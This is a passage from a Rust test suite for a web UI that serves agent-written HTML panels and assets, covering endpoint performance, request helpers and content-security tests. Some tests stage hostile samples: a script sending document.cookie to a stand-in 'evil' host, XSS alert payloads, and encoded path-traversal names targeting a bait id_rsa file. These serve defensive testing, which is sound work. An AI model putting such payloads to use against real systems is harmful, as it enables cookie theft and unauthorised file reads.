8282 .unwrap();
8283 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8284 crate::git::git(
8285 &repo,
8286 &[
8287 "-c",
8288 "user.name=fixture",
8289 "-c",
8290 "user.email=fixture@example.invalid",
8291 "commit",
8292 "-m",
8293 "fixture",
8294 ],
8295 )
8296 .await
8297 .unwrap();
8298 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8299 .await
8300 .unwrap();
8301 crate::git::git(
8302 &repo,
8303 &["remote", "add", "origin", origin.to_str().unwrap()],
8304 )
8305 .await
8306 .unwrap();
8307 crate::git::git(&repo, &["push", "origin", "main"])
8308 .await
8309 .unwrap();
8310 crate::git::git(
8311 &repo,
8312 &[
8313 "symbolic-ref",
8314 "refs/remotes/origin/HEAD",
8315 "refs/remotes/origin/main",
8316 ],
8317 )
8318 .await
8319 .unwrap();
8320 let (cfg, _) = Config::discover(&repo, None).unwrap();
8321 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8322 repos.push(repo);
8323 }
8324 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8325 (tmp, repos)
8326 }
8327
8328 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8329 let (tmp, repos) = performance_repositories().await;
8330 let machine = tmp.path().join("machine.toml");
8331 std::fs::write(&machine, "").unwrap();
8332 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8333 (tmp, repos, fx)
8334 }
8335
8336 fn seed_performance(
8337 fx: &Fixture,
8338 repos: &[PathBuf; 2],
8339 questions: usize,
8340 runs: usize,
8341 items: usize,
8342 ) {
8343 for i in fx.questions().list().len()..questions {
8345 let mut question = Question::new(
8346 "20261001-000000-0000".into(),
8347 "implement".into(),
8348 "impl-A".into(),
8349 format!("question {i}"),
8350 "context".into(),
8351 vec!["yes".into(), "no".into()],
8352 );
8353 question.id = format!("20261003-000000-{i:04x}");
8354 fx.questions().put(&mut question).unwrap();
8355 }
8356 for i in run_ids(&fx.runs()).len()..runs {
8357 write_run_repo(
8358 &fx.runs(),
8359 &format!("20261001-000000-{i:04x}"),
8360 RunStatus::Ready,
8361 repos[i % 2].to_str().unwrap(),
8362 );
8363 }
8364 for i in fx.talks().list().len()..items {
8365 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8366 let mut talk = fx.talks().get(&id).unwrap();
8367 talk.repo = repos[i % 2].clone();
8368 fx.talks().put(&mut talk).unwrap();
8369 let mut task = crate::queue::Task::new(
8370 format!("task {i}"),
8371 "instruction".into(),
8372 repos[i % 2].clone(),
8373 crate::queue::Source::Agent {
8374 run: id,
8375 node: crate::queue::CHAT_NODE.into(),
8376 },
8377 );
8378 task.id = format!("20261004-000000-{i:04x}");
8379 fx.queue().put(&mut task).unwrap();
8380 if i < crate::notices::CAP {
8382 Notices::at(fx.home.path().join("notifications"))
8383 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8384 .unwrap();
8385 }
8386 }
8387 assert_eq!(fx.questions().list().len(), questions);
8388 assert_eq!(run_ids(&fx.runs()).len(), runs);
8389 assert_eq!(fx.talks().list().len(), items);
8390 assert_eq!(fx.queue().list().len(), items);
8391 assert_eq!(
8392 Notices::at(fx.home.path().join("notifications"))
8393 .list()
8394 .len(),
8395 items.min(crate::notices::CAP)
8396 );
8397 }
8398
8399 fn request_counts(res: &Res) -> (usize, usize) {
8400 assert_eq!(res.status, 200, "{}", res.body);
8401 (
8402 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8403 res.header("x-test-git").unwrap().parse().unwrap(),
8404 )
8405 }
8406
8407 #[tokio::test]
8408 async fn list_request_cost_is_independent_of_record_count() {
8409 let (_tmp, repos, fx) = performance_fixture().await;
8410 let mut previous = None;
8411 for n in [4, 60] {
8412 seed_performance(&fx, &repos, n, n, n);
8413 let mut costs = Vec::new();
8414 for (path, discoveries) in [
8415 ("/api/questions", 1),
8416 ("/api/talks", 2),
8417 ("/api/health", 1),
8418 ("/api/stats", 1),
8419 ] {
8420 for repo in &repos {
8423 let cache = repo.join(".git/magi/config");
8424 if cache.exists() {
8425 std::fs::remove_dir_all(cache).unwrap();
8426 }
8427 }
8428 let cost = request_counts(&fx.get(path).await);
8429 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8430 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8431 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8432 costs.push(cost);
8433 }
8434 if let Some(previous) = previous {
8435 assert_eq!(costs, previous);
8436 }
8437 previous = Some(costs);
8438 }
8439 }
8443
8444 #[tokio::test]
8447 async fn list_handler_cost_without_transport() {
8448 let (_tmp, repos) = performance_repositories().await;
8449 let fx = Fixture {
8450 home: TempDir::new().unwrap(),
8451 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8452 };
8453 let ui = Arc::new(
8454 Ui::new(
8455 fx.queue(),
8456 fx.questions(),
8457 fx.talks(),
8458 fx.runs(),
8459 fx.home.path().to_path_buf(),
8460 repos[0].clone(),
8461 )
8462 .with_worktrees_root(fx.home.path().join("wt")),
8463 );
8464 let mut previous = None;
8465 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8466 seed_performance(&fx, &repos, n, runs, items);
8467 let mut costs = Vec::new();
8468 for endpoint in ["questions", "talks", "health", "stats"] {
8469 for repo in &repos {
8470 let cache = repo.join(".git/magi/config");
8471 if cache.exists() {
8472 std::fs::remove_dir_all(cache).unwrap();
8473 }
8474 }
8475 let (_, cost) = request_cost::measure(async {
8476 match endpoint {
8477 "questions" => {
8478 let _ = questions_list(State(ui.clone())).await.unwrap();
8479 }
8480 "talks" => {
8481 let _ = talks_list(
8482 State(ui.clone()),
8483 Query(ListQuery {
8484 limit: None,
8485 ids: None,
8486 }),
8487 )
8488 .await
8489 .unwrap();
8490 }
8491 "health" => {
8492 let _ = health(State(ui.clone())).await.unwrap();
8493 }
8494 _ => {
8495 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8496 .await
8497 .unwrap();
8498 }
8499 }
8500 })
8501 .await;
8502 eprintln!("{endpoint} handler N={n}: {cost:?}");
8503 assert_eq!(
8504 cost.0,
8505 if endpoint == "talks" { 2 } else { 1 },
8506 "{endpoint}"
8507 );
8508 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8509 costs.push(cost);
8510 }
8511 if let Some(previous) = previous {
8512 assert_eq!(costs, previous);
8513 }
8514 previous = Some(costs);
8515 }
8516 }
8517
8518 #[tokio::test]
8519 async fn list_request_cost_scopes_do_not_mix() {
8520 let (_tmp, repos, fx) = performance_fixture().await;
8521 seed_performance(&fx, &repos, 10, 0, 10);
8522 let (questions, talks, notices) = tokio::join!(
8523 fx.get("/api/questions"),
8524 fx.get("/api/talks"),
8525 fx.get("/api/notifications")
8526 );
8527 assert_eq!(request_counts(&questions).0, 1);
8528 assert_eq!(request_counts(&talks).0, 2);
8529 assert_eq!(request_counts(¬ices), (0, 0));
8530 }
8531
8532 #[tokio::test]
8533 async fn list_endpoints_large_home_ceiling() {
8534 let (_tmp, repos, fx) = performance_fixture().await;
8535 seed_performance(&fx, &repos, 200, 300, 400);
8536 let mut failures = Vec::new();
8537 for path in [
8540 "/",
8541 "/app.js",
8542 "/app.css",
8543 "/api/questions",
8544 "/api/runs?limit=300",
8545 "/api/queue",
8546 "/api/talks",
8547 "/api/notifications",
8548 "/api/health",
8549 "/api/stats",
8550 "/api/loop",
8551 "/api/settings",
8552 "/api/repos",
8553 ] {
8554 let start = std::time::Instant::now();
8555 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8556 let elapsed = start.elapsed();
8557 eprintln!("{path}: {elapsed:?}");
8558 match result {
8559 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8560 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8561 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8562 }
8563 }
8564 assert!(failures.is_empty(), "{}", failures.join("\n"));
8565 }
8566
8567 struct Res {
8568 status: u16,
8569 headers: String,
8570 head: String,
8575 body: String,
8576 bytes: Vec<u8>,
8580 }
8581
8582 impl Res {
8583 fn json(&self) -> Value {
8584 serde_json::from_str(&self.body)
8585 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8586 }
8587
8588 fn header(&self, name: &str) -> Option<&str> {
8590 self.head.lines().find_map(|line| {
8591 let (key, value) = line.split_once(':')?;
8592 key.trim()
8593 .eq_ignore_ascii_case(name)
8594 .then(|| value.trim_start().trim_end_matches('\r'))
8595 })
8596 }
8597 }
8598
8599 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8602 request_with(addr, method, path, body, &[]).await
8603 }
8604
8605 async fn request_with(
8609 addr: SocketAddr,
8610 method: &str,
8611 path: &str,
8612 body: Option<&str>,
8613 extra: &[(&str, &str)],
8614 ) -> Res {
8615 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8616 for (name, value) in extra {
8617 head.push_str(&format!("{name}: {value}\r\n"));
8618 }
8619 if let Some(body) = body {
8620 head.push_str("Content-Type: application/json\r\n");
8621 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8622 }
8623 head.push_str("\r\n");
8624 if let Some(body) = body {
8625 head.push_str(body);
8626 }
8627 let mut socket = tokio::net::TcpStream::connect(addr)
8628 .await
8629 .expect("connect to the test server");
8630 socket
8631 .write_all(head.as_bytes())
8632 .await
8633 .expect("write request");
8634 let mut raw = Vec::new();
8635 socket.read_to_end(&mut raw).await.expect("read response");
8636 let split = raw
8639 .windows(4)
8640 .position(|w| w == b"\r\n\r\n")
8641 .expect("a header block");
8642 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8643 let bytes = raw[split + 4..].to_vec();
8644 let status = head
8645 .lines()
8646 .next()
8647 .and_then(|line| line.split_whitespace().nth(1))
8648 .and_then(|code| code.parse().ok())
8649 .expect("a status line");
8650 Res {
8651 status,
8652 headers: head.to_lowercase(),
8653 head,
8654 body: String::from_utf8_lossy(&bytes).into_owned(),
8655 bytes,
8656 }
8657 }
8658
8659 async fn request_bytes(
8665 addr: SocketAddr,
8666 path: &str,
8667 headers: &[(&str, &str)],
8668 body: &[u8],
8669 ) -> Res {
8670 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8671 for (name, value) in headers {
8672 head.push_str(&format!("{name}: {value}\r\n"));
8673 }
8674 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8675 let mut socket = tokio::net::TcpStream::connect(addr)
8676 .await
8677 .expect("connect to the test server");
8678 socket
8679 .write_all(head.as_bytes())
8680 .await
8681 .expect("write request head");
8682 socket.write_all(body).await.expect("write request body");
8683 let mut raw = Vec::new();
8684 socket.read_to_end(&mut raw).await.expect("read response");
8685 let split = raw
8686 .windows(4)
8687 .position(|w| w == b"\r\n\r\n")
8688 .expect("a header block");
8689 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8690 let bytes = raw[split + 4..].to_vec();
8691 let status = head
8692 .lines()
8693 .next()
8694 .and_then(|line| line.split_whitespace().nth(1))
8695 .and_then(|code| code.parse().ok())
8696 .expect("a status line");
8697 Res {
8698 status,
8699 headers: head.to_lowercase(),
8700 head,
8701 body: String::from_utf8_lossy(&bytes).into_owned(),
8702 bytes,
8703 }
8704 }
8705
8706 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8708 let mut state = RunState::new(
8709 PathBuf::from("/repo/magi"),
8710 "main".to_owned(),
8711 "0123456789abcdef".to_owned(),
8712 "Add a web UI\n\nMobile first.".to_owned(),
8713 Config::default(),
8714 );
8715 state.id = id.to_owned();
8716 state.status = status;
8717 let dir = runs.join(id);
8718 std::fs::create_dir_all(&dir).expect("run dir");
8719 std::fs::write(
8720 dir.join("run.json"),
8721 serde_json::to_string_pretty(&state).expect("serialize run"),
8722 )
8723 .expect("write run.json");
8724 }
8725
8726 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8730 let mut state = RunState::new(
8731 PathBuf::from(repo),
8732 "main".to_owned(),
8733 "0123456789abcdef".to_owned(),
8734 "task".to_owned(),
8735 Config::default(),
8736 );
8737 state.id = id.to_owned();
8738 state.status = status;
8739 let dir = runs.join(id);
8740 std::fs::create_dir_all(&dir).expect("run dir");
8741 std::fs::write(
8742 dir.join("run.json"),
8743 serde_json::to_string_pretty(&state).expect("serialize run"),
8744 )
8745 .expect("write run.json");
8746 }
8747
8748 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8749 let body = serde_json::json!({
8750 "schema": 1,
8751 "pid": 4242,
8752 "started_at": Timestamp::now().to_string(),
8753 "updated_at": updated_at.to_string(),
8754 "idle": false,
8755 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8756 "completed": 7,
8757 "polls": 143,
8758 });
8759 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8760 }
8761
8762 fn launch_idle(
8772 _opts: daemon::Opts,
8773 stop: daemon::Stop,
8774 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8775 Box::pin(async move {
8776 while !stop.stopped() {
8777 tokio::time::sleep(Duration::from_millis(2)).await;
8778 }
8779 Ok(())
8780 })
8781 }
8782
8783 fn launch_broken(
8786 _opts: daemon::Opts,
8787 _stop: daemon::Stop,
8788 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8789 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8794 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8795 Box::pin(async move {
8796 Err(anyhow::anyhow!(if first {
8797 "publish the daemon status file: read-only file system"
8798 } else {
8799 "the restarted stand-in failed as well"
8800 }))
8801 })
8802 }
8803
8804 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8811 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8812
8813 fn launch_knocking_on_the_way_out(
8820 _opts: daemon::Opts,
8821 stop: daemon::Stop,
8822 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8823 Box::pin(async move {
8824 while !stop.stopped() {
8825 tokio::time::sleep(Duration::from_millis(2)).await;
8826 }
8827 let addr = PARK_KNOCK
8828 .lock()
8829 .expect("park knock")
8830 .expect("the test set an address");
8831 let heard = request(addr, "GET", "/api/health", None).await.status;
8832 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8833 Ok(())
8834 })
8835 }
8836
8837 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8846 for _ in 0..SETTLE_STEPS {
8847 let view = fx.get("/api/loop").await.json();
8848 if want(&view) {
8849 return view;
8850 }
8851 tokio::time::sleep(Duration::from_millis(10)).await;
8852 }
8853 panic!(
8854 "the loop never settled: {}",
8855 fx.get("/api/loop").await.json()
8856 );
8857 }
8858
8859 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8861 let store = fx.questions();
8862 let mut q = Question::new(
8863 "20260902-000000-beef".to_owned(),
8864 "implement".to_owned(),
8865 "impl-A".to_owned(),
8866 summary.to_owned(),
8867 "because it matters".to_owned(),
8868 choices.iter().map(|c| (*c).to_owned()).collect(),
8869 );
8870 store.put(&mut q).expect("put question");
8871 q.id
8872 }
8873
8874 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8880 let store = fx.questions();
8881 let mut q = Question::new(
8882 "20260902-000000-beef".to_owned(),
8883 "land".to_owned(),
8884 "fix".to_owned(),
8885 "Merge this?".to_owned(),
8886 "the diff is in the panel".to_owned(),
8887 vec!["merge".to_owned(), "hold".to_owned()],
8888 );
8889 let staging = fx.home.path().join("staging");
8892 std::fs::create_dir_all(&staging).expect("staging dir");
8893 let sources: Vec<PathBuf> = assets
8894 .iter()
8895 .map(|(name, bytes)| {
8896 let path = staging.join(name);
8897 std::fs::write(&path, bytes).expect("write staged asset");
8898 path
8899 })
8900 .collect();
8901 store
8902 .put_panel(&mut q, html, &sources)
8903 .expect("write the panel");
8904 store.put(&mut q).expect("put question");
8905 q.id
8906 }
8907
8908 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8917 seed_talk_at(&fx.talks(), id, status)
8918 }
8919
8920 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8921 std::fs::create_dir_all(store.root()).expect("talks dir");
8922 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8923 .expect("serialize a seat");
8924 let body = serde_json::json!({
8925 "schema": 1,
8926 "id": id,
8927 "repo": "/repo/magi",
8928 "agent": "mock",
8929 "status": status,
8930 "turns": [],
8931 "created_at": Timestamp::now().to_string(),
8932 "updated_at": Timestamp::now().to_string(),
8933 "seat": seat,
8934 });
8935 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8936 store.get(id).expect("the seeded talk has to be readable");
8937 id.to_owned()
8938 }
8939
8940 #[tokio::test]
8941 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8942 let fx = Fixture::start().await;
8943 let id = panel(
8944 &fx,
8945 "<h1>Merge?</h1><img src=\"diff.svg\">",
8946 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8947 );
8948
8949 for path in [
8950 format!("/api/questions/{id}/panel"),
8951 format!("/api/questions/{id}/asset/diff.svg"),
8952 ] {
8953 let res = fx.get(&path).await;
8954 assert_eq!(res.status, 200, "{path}: {}", res.body);
8955 assert_eq!(
8961 res.header("content-security-policy"),
8962 Some(
8963 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8964 font-src data:; base-uri 'none'; form-action 'none'; \
8965 frame-ancestors 'self'"
8966 ),
8967 "{path} is the only thing between a hostile panel and the tailnet"
8968 );
8969 assert_eq!(
8970 res.header("x-content-type-options"),
8971 Some("nosniff"),
8972 "{path}: a browser must not re-decide the type we sent"
8973 );
8974 assert_eq!(
8975 res.header("referrer-policy"),
8976 Some("no-referrer"),
8977 "{path}: a panel must not leak the question id off the machine"
8978 );
8979
8980 let pre = fx.head(&path).await;
8985 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8986 assert_eq!(
8987 pre.header("content-security-policy"),
8988 res.header("content-security-policy"),
8989 "{path}: the preflight carries the same policy"
8990 );
8991 assert_eq!(
8992 pre.header("content-type"),
8993 res.header("content-type"),
8994 "{path}: the preflight carries the same type"
8995 );
8996 }
8997 }
8998
8999 #[tokio::test]
9000 async fn a_panel_reaches_the_browser_byte_for_byte() {
9001 let fx = Fixture::start().await;
9002 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9007 let id = panel(&fx, html, &[]);
9008
9009 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9010
9011 assert_eq!(res.status, 200);
9012 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9013 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9014 assert_eq!(
9015 res.header("content-disposition"),
9016 None,
9017 "the panel itself is rendered in the frame, not downloaded"
9018 );
9019 }
9020
9021 #[tokio::test]
9022 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9023 let fx = Fixture::start().await;
9024 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9025 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9026 let id = panel(
9027 &fx,
9028 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9029 &[("diff.svg", svg), ("shot.png", png)],
9030 );
9031
9032 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9033 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9034
9035 assert_eq!(as_svg.status, 200);
9036 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9037 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9042
9043 assert_eq!(as_png.status, 200);
9044 assert_eq!(as_png.header("content-type"), Some("image/png"));
9045 assert_eq!(
9046 as_png.header("content-disposition"),
9047 None,
9048 "a raster image has no execution surface, so tapping it still shows it"
9049 );
9050 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9051 }
9052
9053 #[tokio::test]
9054 async fn an_html_asset_is_never_served_as_html() {
9055 let fx = Fixture::start().await;
9056 let id = panel(
9057 &fx,
9058 "<p>see the notes</p>",
9059 &[
9060 (
9061 "notes.html",
9062 b"<script>fetch('http://evil/'+document.cookie)</script>",
9063 ),
9064 ("hook.js", b"fetch('http://evil/')"),
9065 ("data.json", b"{}"),
9066 ("HEADLINE.TXT", b"plain"),
9067 ],
9068 );
9069
9070 for name in ["notes.html", "hook.js", "data.json"] {
9071 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9072 assert_eq!(res.status, 200, "{name}: {}", res.body);
9073 assert_eq!(
9078 res.header("content-type"),
9079 Some("application/octet-stream"),
9080 "{name} must not be a type the browser will execute or render"
9081 );
9082 }
9083 let txt = fx
9086 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9087 .await;
9088 assert_eq!(
9089 txt.header("content-type"),
9090 Some("text/plain; charset=utf-8")
9091 );
9092 }
9093
9094 #[tokio::test]
9095 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9096 let fx = Fixture::start().await;
9097 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9098 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9102
9103 for encoded in [
9110 "%2e%2e%2fid_rsa",
9111 "..%2fid_rsa",
9112 "..%5cid_rsa",
9113 "%2e%2e%5cid_rsa",
9114 "diff%00.svg",
9115 "..",
9116 ".hidden",
9117 "%2e%2e%2f%2e%2e%2fid_rsa",
9118 ] {
9119 let res = fx
9120 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9121 .await;
9122 assert_eq!(
9123 res.status, 400,
9124 "`{encoded}` has to be refused by name, not looked up: {}",
9125 res.body
9126 );
9127 assert!(res.json()["error"].is_string(), "{}", res.body);
9128 }
9129
9130 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9136 let res = fx
9137 .get(&format!("/api/questions/{id}/asset/{literal}"))
9138 .await;
9139 assert_eq!(
9140 res.status, 404,
9141 "`{literal}` must not match the asset route at all: {}",
9142 res.body
9143 );
9144 }
9145 }
9146
9147 #[tokio::test]
9148 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9149 let fx = Fixture::start().await;
9150 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9151 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9152
9153 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9157 assert_eq!(none.status, 404, "{}", none.body);
9158 assert!(none.json()["error"].is_string(), "{}", none.body);
9159 assert_eq!(
9160 fx.head(&format!("/api/questions/{plain}/panel"))
9161 .await
9162 .status,
9163 404,
9164 "the preflight is the only way the client can learn this"
9165 );
9166
9167 let missing = fx
9169 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9170 .await;
9171 assert_eq!(missing.status, 404, "{}", missing.body);
9172 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9173
9174 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9176 assert_eq!(
9177 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9178 404
9179 );
9180 }
9181
9182 #[tokio::test]
9183 async fn a_run_with_an_open_question_reads_as_waiting() {
9184 let fx = Fixture::start().await;
9185 let run = "20260902-000000-beef".to_owned();
9186 write_run(&fx.runs(), &run, RunStatus::Implementing);
9187
9188 let before = fx.get("/api/runs").await.json();
9189 assert_eq!(before[0]["waiting"], false, "{before}");
9190
9191 let store = fx.questions();
9192 let mut q = Question::new(
9193 run.clone(),
9194 "implement".to_owned(),
9195 "impl-A".to_owned(),
9196 "Which backend?".to_owned(),
9197 String::new(),
9198 vec!["SQLite".to_owned()],
9199 );
9200 store.put(&mut q).expect("put");
9201
9202 let during = fx.get("/api/runs").await.json();
9203 assert_eq!(during[0]["waiting"], true, "{during}");
9204
9205 q.answer(Answer::Choice("SQLite".to_owned()))
9208 .expect("answer");
9209 store.put(&mut q).expect("put");
9210 let after = fx.get("/api/runs").await.json();
9211 assert_eq!(after[0]["waiting"], false, "{after}");
9212 }
9213
9214 #[tokio::test]
9215 async fn an_open_question_is_listed_and_counted_by_health() {
9216 let fx = Fixture::start().await;
9217 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9218
9219 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9220 let listed = fx.get("/api/questions").await.json();
9221 assert_eq!(listed.as_array().expect("array").len(), 1);
9222 assert_eq!(listed[0]["id"], id);
9223 assert_eq!(listed[0]["status"], "open");
9224 assert_eq!(listed[0]["choices"][1], "Redis");
9225 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9228 }
9229
9230 #[tokio::test]
9231 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9232 let fx = Fixture::start().await;
9233 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9234 let path = format!("/api/questions/{id}/answer");
9235
9236 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9237 assert_eq!(res.status, 200, "{}", res.body);
9238 let body = res.json();
9239 assert_eq!(body["status"], "answered");
9240 assert_eq!(body["answer"]["choice"], "Redis");
9241
9242 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9246 assert_eq!(again.status, 409, "{}", again.body);
9247 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9248 }
9249
9250 #[tokio::test]
9251 async fn saying_something_appends_a_turn_without_answering() {
9252 let fx = Fixture::start().await;
9253 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9254 let path = format!("/api/questions/{id}/say");
9255
9256 let res = fx
9257 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9258 .await;
9259 assert_eq!(res.status, 200, "{}", res.body);
9260 let body = res.json();
9261 assert_eq!(body["status"], "open", "talking back is not a decision");
9262 assert_eq!(body["answer"], Value::Null);
9263 assert_eq!(body["thread"][0]["who"], "operator");
9264 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9265 assert_eq!(body["waiting_on_agent"], true);
9266 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9268 }
9269
9270 #[tokio::test]
9271 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9272 let fx = Fixture::start().await;
9273 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9274
9275 let list = fx.get("/api/questions").await.json();
9276 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9277
9278 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9279 assert_eq!(res.status, 409, "{}", res.body);
9280 let q = fx.questions().get(&id).unwrap();
9281 assert!(q.status.open());
9282 assert!(q.consult.is_none());
9283 }
9284
9285 #[tokio::test]
9286 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9287 let fx = Fixture::start().await;
9288 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9289 let cfg = Config {
9290 agents: vec![crate::config::AgentSpec {
9291 id: "mock".to_owned(),
9292 kind: crate::config::AgentKind::Command,
9293 model: None,
9294 command: vec!["true".to_owned()],
9295 extra_args: Vec::new(),
9296 env: Default::default(),
9297 prompt_delivery: None,
9298 }],
9299 ..Config::default()
9300 };
9301 let talk = crate::talk::begin(
9302 &fx.talks(),
9303 &cfg,
9304 fx.home.path().to_path_buf(),
9305 Some("mock"),
9306 )
9307 .unwrap();
9308 let mut task = Task::new(
9309 "t".to_owned(),
9310 "Do it".to_owned(),
9311 PathBuf::from("/repo/magi"),
9312 Source::Agent {
9313 run: talk.id.clone(),
9314 node: crate::queue::CHAT_NODE.to_owned(),
9315 },
9316 );
9317 task.start("20260902-000000-beef".to_owned());
9318 fx.queue().put(&mut task).unwrap();
9319
9320 let list = fx.get("/api/questions").await.json();
9321 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9322 assert_eq!(
9323 list[0]["choices"],
9324 serde_json::json!(["SQLite", "Redis"]),
9325 "the hand-over is never a choice"
9326 );
9327 fx.questions()
9328 .update(&id, |q| {
9329 q.node = crate::land::APPROVAL_NODE.into();
9330 q.choices = vec!["merge".into(), "hold".into()];
9331 Ok(())
9332 })
9333 .unwrap();
9334 let list = fx.get("/api/questions").await.json();
9335 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9336 let _ = id;
9337 }
9338
9339 #[tokio::test]
9340 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9341 let fx = Fixture::start().await;
9342 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9343 fx.questions()
9344 .update(&id, |q| {
9345 q.node = crate::land::APPROVAL_NODE.into();
9346 q.choices = vec!["merge".into(), "hold".into()];
9347 Ok(())
9348 })
9349 .unwrap();
9350 let cfg = Config {
9351 agents: vec![crate::config::AgentSpec {
9352 id: "mock".to_owned(),
9353 kind: crate::config::AgentKind::Command,
9354 model: None,
9355 command: vec!["true".to_owned()],
9356 extra_args: Vec::new(),
9357 env: Default::default(),
9358 prompt_delivery: None,
9359 }],
9360 ..Config::default()
9361 };
9362 let repo = fx.home.path().join("chat-repo");
9364 std::fs::create_dir_all(&repo).unwrap();
9365 let toml = repo.join("magi.toml");
